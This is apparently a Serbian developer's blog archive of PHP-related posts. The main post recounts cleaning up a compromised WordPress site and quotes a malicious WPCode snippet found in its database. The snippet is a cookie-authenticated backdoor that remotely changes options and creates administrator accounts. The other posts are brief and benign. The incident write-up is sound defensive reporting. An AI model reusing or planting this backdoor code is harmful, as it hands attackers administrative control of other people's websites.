Tag Archives: php

Sumnjive aktivnosti

Vordpres sajt jednog od klijenata je iznenada poprimio potpuno drugačiju naslovnu stranu. Malo sam čeprkao po kodu i adminu i saznao štošta novo 🙂 Pod jedan, obrisana je index.php stranica i umesto nje stavljena statična index.html stranica koja je prikazivala drugi sadržaj. To smo lako rešili ali glavno pitanje je kako su uspeli da zamene tu stranicu. Primetio sam neke plaginove koji ne bi trebalo da budu uključeni u ovu instalaciju pa sam ih obrisao. Takođe, u nekoliko JavaScript fajlova je dodat novi kod pa sam i to brisao. Onda sam u samom adminu primetio da se neko loguje sa jednog od naloga koji ima administratorske privilegije i instalira plaginove:

Skinuo sam sve role sa tog naloga dok ne shvatimo ko je u pitanju. Verovatno su ukradeni kredencijali a ja na žalost, zbog toga što sve ide preko CloudFlare-a, ne vidim sa kojih ajpi adresa zaista dolazi ovaj korisnik. Plaginovi koji su bili instalirani preko ovog naloga su File Manager i API Key. Onda sam apdejtovao preostale plaginove i pobrisao još neke za koje smatram da nisu neophodni. Sajt je star, ima staru temu koja se više ne ažurira i koja sa sobom donosi ili zavisi od nekih starih plaginova koji se više ne ažuriraju.

Pošto mi nije bilo dosta krenuo sam i po bazi da čeprkam i otkrio postove tipa wpcode. Ispostavilo se da su to parčići PHP i JavaScript koda koji mogu da se umetnu u postove pomoću plagina WPCode. Ovo nije loše rešenje ako ne želite da menjate šablone i/ili functions.php fajl ali ovako kreirane stranice mogu da budu jako opasne. Na primer, sa ovakvim parčetom koda:

if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
    switch (_gcookie('c')) {
        case 'sd':
            $d = _gcookie('d');
            if (strpos($d, '.') > 0) {
                update_option('d', $d);
            }
            break;
        case 'au':
            $u = _gcookie('u');
            $p = _gcookie('p');
            $e = _gcookie('e');

            if ($u && $p && $e && !username_exists($u)) {
                $user_id = wp_create_user($u, $p, $e);
                $user = new WP_User($user_id);
                $user->set_role('administrator');
            }
            break;
    }
    return;
}

možemo na daljinu da postavimo vrednost nekoj opciji bloga ili da kreiramo novi nalog sa administratorskim privilegijama. Na sreću, nije bilo novokreiranih administratora na sajtu a ove snipete sam obrisao iz baze. Pustio sam Wordfence da skenira sajt još jednom i za sada je sve OK. Pratimo situaciju 🙂

Na ovom linku ima detaljno objašnjeno kako rade ovi maliciozni snipeti.

Music streaming app

Imamo taj servis koji smo razvijali prethodnih godina a sada ga uglavnom samo održavamo, služi za striming muzike. Muzika koju nudi ovaj servis i nije baš po mome ukusu ali pošto moramo da imamo razvojno okruženje na kojem testiramo sve izmene pre puštanja u produkciju, e tu mogu da postavljam muziku koja mi se sviđa 🙂

NativePHP

Na Mastodonu se povelo pitanje kako od Laravel projekta napraviti nativnu desktop aplikaciju/program pa sam se setio projekta NativePHP. Nisam ga nikada koristio ali koliko shvatam koriste se Electron i Tauri kako bi se kreirala nativna aplikacija u kojoj se lokalno vrti PHP. Projekat sa sobom donosi i klase koje je moguće koristiti za rad sa prozorima, menijima, fajlovima, bazom podataka, notifikacijama… Projekat je u ranoj fazi razvoja ali izgleda da je podrška za Laravel primarni fokus tako da nema razloga da ne probam nešto novo da napravim 🙂

qdbus

Nekada davno sam u potpisu mejlova imao prikaz koja pesma se trenutno vrti u media plejeru. Tada sam koristio DeaDBeeF i bilo je lako izvući naziv pesme iz šela pomoću nečeg poput

deadbeef --nowplaying "%a - %t"

Sada koristim Clementine pa moram to da radim preko qdbus-a.

Apdejt: dodao sam podršku i za MellowPlayer 🙂

Bitron

Ako ćemo da se bavimo trgovinom kriptovaluta, onda nam treba alat koji će da prati šta se dešava na berzi 🙂 Bitron pre svega ima spisak raspoloživih valuta i njihovu vrednost prilikom kupovine. Sledeći prirodan korak je da periodično proverava kolika je trenutna vrednost tih valuta na berzi i da u zavisnosti od situacije prodaje ili kupuje ili čeka promenu. Ali pre samog čina trgovine potrebno je ukalkulisati trošak razmene valuta, to je sledeća stvar koju treba implementirati.